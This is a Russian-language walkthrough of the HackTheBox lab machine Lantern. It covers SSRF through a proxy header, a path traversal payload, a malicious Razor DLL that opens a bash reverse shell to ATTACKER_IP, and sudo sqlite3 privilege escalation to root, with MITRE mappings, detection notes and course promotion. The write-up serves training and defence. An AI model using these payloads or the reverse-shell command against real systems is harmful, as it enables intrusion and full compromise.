Перейти к содержимому

HTB Lantern прохождение: SSRF в Blazor-приложении и повышение привилегий через sudo sqlite3

HTB Lantern прохождение: SSRF в Blazor-приложении и повышение привилегий через sudo sqlite3
Время чтения: 10 мин.

Lantern на HackTheBox — Hard-машина, где сложность не в отдельных шагах, а в длине цепочки. Шесть переходов от первого HTTP-запроса до root-шелла, и каждый опирается на предыдущий: SSRF через заголовок прокси, скрытое Blazor-приложение на внутреннем порту, path traversal во Flask-бэкенде, вредоносная Razor DLL и чтение базы мониторинга процессов через sudo sqlite3. По данным Verizon DBIR 2025, доля веб-атак среди подтверждённых нарушений — 26%, и Lantern показывает почему: каждый элемент цепочки по отдельности выглядит как «low severity», но вместе они дают полную компрометацию.

Требования к окружению и цепочка атаки

Перед началом убедитесь, что окружение готово:

  • Подписка HackTheBox VIP (машина в архиве) и активное VPN-подключение через OpenVPN
  • Kali Linux или аналогичный дистрибутив: минимум 4 ГБ RAM, рекомендуется 8 ГБ
  • Установленные инструменты: nmap, curl, gobuster (или feroxbuster), .NET SDK 6.0+ (для сборки DLL), sqlite3, netcat
  • Сетевое подключение к HTB-лаборатории (IP-адрес машины: 10.10.11.29 — может отличаться в вашей сессии)

Место каждого шага в kill chain (последовательность действий атакующего от первого контакта до цели):

  1. Initial Access — SSRF через Skipper Proxy открывает доступ к внутренним сервисам
  2. Discovery — перечисление внутренних портов и чтение файлов через path traversal
  3. Credential Access — извлечение пароля администратора из DLL или базы данных
  4. Execution — загрузка вредоносной Razor DLL, получение reverse shell
  5. Privilege Escalation — sudo sqlite3, чтение ProcMon-базы, пароль root

Контекст: внешний пентест, modern-стек (Linux + .NET + reverse proxy). На реальных проектах SSRF через мисконфигурированный прокси — одна из частых точек входа, особенно в облачных и контейнерных средах.

Разведка: Skipper Proxy и Blazor Server-Side

Стандартное сканирование nmap -p- --min-rate 10000 10.10.11.29 показывает три открытых TCP-порта: 22 (SSH), 80 (HTTP) и 3000. Детализированный скан nmap -p 22,80,3000 -sCV 10.10.11.29 даёт ключевую информацию:

Порт 80 — заголовок Server: Skipper Proxy, редирект на http://lantern.htb/. Skipper — HTTP-прокси на Go, который маршрутизирует запросы к бэкенд-сервисам. Добавляем запись в /etc/hosts: echo '10.10.11.29 lantern.htb' | sudo tee -a /etc/hosts. Без этого браузер не распарсит редирект.

Порт 3000 — заголовок Server: Kestrel, ошибка System.UriFormatException: Invalid URI: The hostname could not be parsed. Kestrel — встроенный веб-сервер .NET. В стектрейсе видно Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager — однозначный маркер Blazor Server-Side.

Тут стоит разобраться в архитектуре. Blazor — фреймворк Microsoft для веб-приложений на C#. Работает в двух режимах: WebAssembly (код выполняется в браузере, серверная логика ограничена API) и Server-Side (вся логика крутится на сервере, в браузер идут только обновления DOM через SignalR — протокол двусторонней связи). На Lantern — Server-Side, а значит бизнес-логика, база данных и файловая система доступны из контекста приложения. Для атакующего это подарок: компрометация приложения = доступ ко всему, что доступно процессу.

Перечисление директорий через gobuster dir -u http://lantern.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt находит /submit (405) и /vacancies (200) — стандартная визитка с формой загрузки резюме. На порту 3000 прямое обращение бесполезно: приложение падает, потому что Kestrel ожидает корректный Host-заголовок и не может разобрать IP-адрес без имени хоста.

SSRF через X-Skipper-Proxy: доступ к внутренним сервисам

SSRF (Server-Side Request Forgery) — атака, при которой мы заставляем сервер выполнить HTTP-запрос по адресу, который выбираем мы. В OWASP Top 10 это категория A10:2021. На практике SSRF позволяет обращаться к внутренним сервисам, недоступным извне: метаданные облачных провайдеров (169.254.169.254), внутренние API, админки.

На Lantern Skipper сконфигурирован с фильтром, обрабатывающим заголовок X-Skipper-Proxy — он переопределяет адрес бэкенда. Это не дефолтное поведение Skipper, а специфика конфигурации. Но если прокси не ограничивает значение заголовка, атакующий указывает произвольный адрес. Проверяем:

# Запрос идёт на порт 80 (Skipper), но заголовок
# говорит прокси: «перенаправь на 127.0.0.1:3000»
curl -s -H 'X-Skipper-Proxy: http://127.0.0.1:3000' \
  'http://lantern.htb/' | head -30

Если вместо визитки появился HTML Blazor-приложения — SSRF подтверждён. Прокси послушно отправил запрос на localhost:3000 и вернул ответ.

Дальше — перебор внутренних портов. Скрипт на bash или однострочник с curl в цикле по диапазону 1–10000 покажет, какие сервисы слушают на localhost. Проверяем HTTP-код: если порт открыт, curl -o /dev/null -w '%{http_code}' вернёт 200 или 302 вместо ошибки. Ключевая находка — порт 5000: на нём работает внутренняя админка InternalLantern.

В терминах MITRE ATT&CK (открытая база тактик и техник атак; каждой технике присвоен идентификатор вида Tnnnn) — это T1190, Exploit Public-Facing Application (тактика Initial Access). Мы эксплуатируем публичный сервис для доступа к внутренней инфраструктуре.

Когда техника не работает. Skipper — мейнстрим-прокси от Zalando — поддерживает динамическую маршрутизацию через фильтры (например, dynamicBackendUrlFromHeader). Уязвимость возникает, когда фильтр включён без whitelist допустимых бэкендов. Аналогичные проблемы встречаются в Envoy при dynamic_forward_proxy без allow-list и в nginx при proxy_pass с переменной из $http_*. На реальном пентесте такое попадается в dev/staging-средах и в продакшене с недоаудированными роутами. Быстрая проверка: grep конфигурации прокси по dynamicBackendUrlFromHeader, X-Skipper-Proxy, X-Forwarded-Host.

От внутреннего приложения к shell: path traversal и вредоносная DLL

Чтение файлов через path traversal

Через SSRF мы получаем доступ не только к Blazor-приложению, но и к Flask-бэкенду на порту 8000. Исходный код app.py содержит эндпоинт /PrivacyAndPolicy — он принимает параметры lang и ext, конкатенирует их в путь /var/www/sites/localisation/{lang}.{ext} и отдаёт файл через send_file(). Санитизации входных данных нет вообще.

Подставляем lang=....//....//....//....//etc/passwd&ext= — получаем содержимое /etc/passwd. Двойной слэш // обходит простейшие фильтры, а цепочка ../ выводит из директории localisation вверх по файловой системе. Это path traversal — обход пути, подкласс A01:2021 (Broken Access Control) по OWASP.

Что читать в первую очередь: /etc/passwd (список пользователей — видим tomas), конфигурационные файлы Blazor-приложения, DLL-библиотеки из /opt или /var/www. По MITRE ATT&CK — T1083 (File and Directory Discovery) и T1552.001 (Credentials In Files).

Пароль администратора и загрузка DLL

Скачанные DLL-библиотеки InternalLantern декомпилируем через dnSpy или ILSpy (бесплатные .NET-декомпиляторы). В коде приложения обнаруживаются строки подключения к базе данных и хэш пароля администратора. Альтернативный путь — SQL-инъекция в Blazor-приложении через SSRF. Оба способа ведут к одному результату: вход в админку InternalLantern на порту 5000.

Админка позволяет загружать файлы на сервер. В Blazor Server-Side приложение строится из Razor-компонентов — файлов .razor, которые компилируются в DLL (Dynamic Link Library — исполняемый модуль в .NET). Если мы создадим DLL с вредоносным компонентом и загрузим её, приложение выполнит наш код.

Создание вредоносной DLL на атакующей машине (нужен .NET SDK 6.0+):

  1. dotnet new razorclasslib -n EvilComponent — создаём проект Razor Class Library (именно razorclasslib, а не classlib — последний не подтягивает Razor compiler и ссылки на AspNetCore.Components, .razor-файлы не скомпилируются)
  2. Убеждаемся, что TargetFramework в .csproj совпадает с серверным (версию определяем по скачанным DLL через декомпилятор)
  3. Пишем Razor-компонент, который при рендеринге вызывает System.Diagnostics.Process.Start("/bin/bash", "-c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"") — обратный шелл к нашему listener
  4. dotnet build -c Release — компилируем DLL
  5. Загружаем через админку, переходим на страницу компонента

Перед загрузкой запускаем listener на атакующей машине: nc -lvnp 4444. После перехода на страницу с вредоносным компонентом получаем обратное соединение — reverse shell от имени пользователя tomas. По MITRE ATT&CK — T1059.004 (Unix Shell).

Sudo sqlite3: повышение привилегий до root

Получив шелл от имени tomas, первым делом проверяем sudo-права: sudo -l. Команда показывает, какие программы текущий пользователь может запускать с привилегиями другого пользователя (обычно root) через sudo. Вывод: tomas может запускать /usr/bin/sqlite3 от имени root без пароля.

GTFOBins (gtfobins.github.io — каталог Unix-утилит, которые можно использовать для повышения привилегий и выполнения произвольных команд) содержит запись для sqlite3. Утилита поддерживает встроенную команду .shell, которая запускает произвольный процесс:

# Открываем sqlite3 как root (через sudo),
# создаём пустую БД в /dev/null
# и запускаем bash через .shell
sudo sqlite3 /dev/null '.shell /bin/bash'

Ожидаемый результат: приглашение командной строки без видимых изменений, но id покажет uid=0(root) gid=0(root). Мы — root.

Но на Lantern есть и второй путь — интереснее с точки зрения forensics и ближе к реальным сценариям. На сервере работает ProcMon (Process Monitor для Linux) — инструмент мониторинга системных вызовов, который записывает все события в SQLite-базу. В ней хранятся логи выполненных команд, включая аргументы командной строки. И среди них — пароль root, переданный утилите аутентификации в открытом виде.

Шаги для извлечения пароля:

  1. Находим базу: find / -name "*.db" -o -name "*.sqlite" 2>/dev/null — ProcMon-база лежит в одной из системных директорий
  2. Открываем через sudo: sudo sqlite3 /path/to/procmon.db
  3. Смотрим структуру: .tables покажет список таблиц, .schema events — их структуру
  4. Запрашиваем записи: SELECT * FROM events WHERE cmdline LIKE '%pass%'; — ищем записи с упоминанием пароля в аргументах
  5. В выводе находим строку с паролем root в открытом виде

По MITRE ATT&CK это комбинация T1548.003 (Sudo and Sudo Caching) и T1005 (Data from Local System).

Когда техника не работает. Sudo sqlite3 — следствие ошибки в sudoers-конфигурации. В hardened-средах (CIS Benchmark Level 2, DISA STIG) sudo-правила минимизированы: каждая запись — конкретная административная задача, а не универсальный доступ к утилитам с .shell. ProcMon-базы с паролями в открытом виде — специфика лаборатории, но аналогичные утечки встречаются в продакшене через systemd-journal, audit.log и SIEM-базы, где ротация логов не настроена. Детект: Elastic 8.x+ и CrowdStrike Falcon LogScale ловят паттерн «sqlite3 запущен через sudo, за ним — shell» стандартным правилом корреляции. Wazuh и auditd — через правило на execve для sqlite3 с euid=0.

Карта атаки по MITRE ATT&CK

Этап Тактика Техника (T-код) Действие на Lantern
1 Initial Access T1190 Exploit Public-Facing Application SSRF через X-Skipper-Proxy
2 Discovery T1083 File and Directory Discovery Path traversal, чтение конфигураций
3 Credential Access T1552.001 Credentials In Files Пароль из DLL или SQLi
4 Execution T1059.004 Unix Shell Reverse shell через Razor DLL
5 Collection T1005 Data from Local System Чтение ProcMon SQLite-базы
6 Privilege Escalation, Defense Evasion T1548.003 Sudo and Sudo Caching sudo sqlite3 → root

Цепочка показательна: ни один этап — не «критическая уязвимость» с CVSS 9+. SSRF через прокси — мисконфигурация. Path traversal — ошибка валидации. Sudo sqlite3 — избыточные привилегии. По отдельности каждый элемент получит low или medium severity в отчёте и уйдёт в бэклог на следующий квартал. Вместе — полная компрометация за вечер.

На реальных пентестах я вижу эту закономерность постоянно. Не zero-day решает исход, а три-четыре «мелочи», которые никто не считает срочными. Прокси без ограничений на заголовки — «потом поправим». Path traversal в одном эндпоинте — «там же нет sensitive данных». Sudo-правило на sqlite3 — «это для бэкапа базы, не трогайте». А потом эти «потом» складываются в цепочку, и атакующий читает /etc/shadow.

Защита проста в каждом отдельном пункте: SSRF ловится ограничением входящих заголовков (proxy_set_header X-Skipper-Proxy ""; в nginx). Path traversal — os.path.realpath() с проверкой префикса. Sudo sqlite3 — аудит sudoers и удаление неиспользуемых правил. Но чтобы закрыть всю цепочку, нужен системный подход к hardening, а не точечные фиксы. Lantern учит именно этому: думать цепочками, а не отдельными уязвимостями. Если хочешь выстроить такое мышление от базовых концепций — на IB Basics в Codeby Academy разбирают логику подобных цепочек системно, с практикой на каждом этапе.

Эту тему и смежные навыки разбирают на практике в курсе «Тестирование веб-приложений на проникновение (WAPT)» Codeby Academy.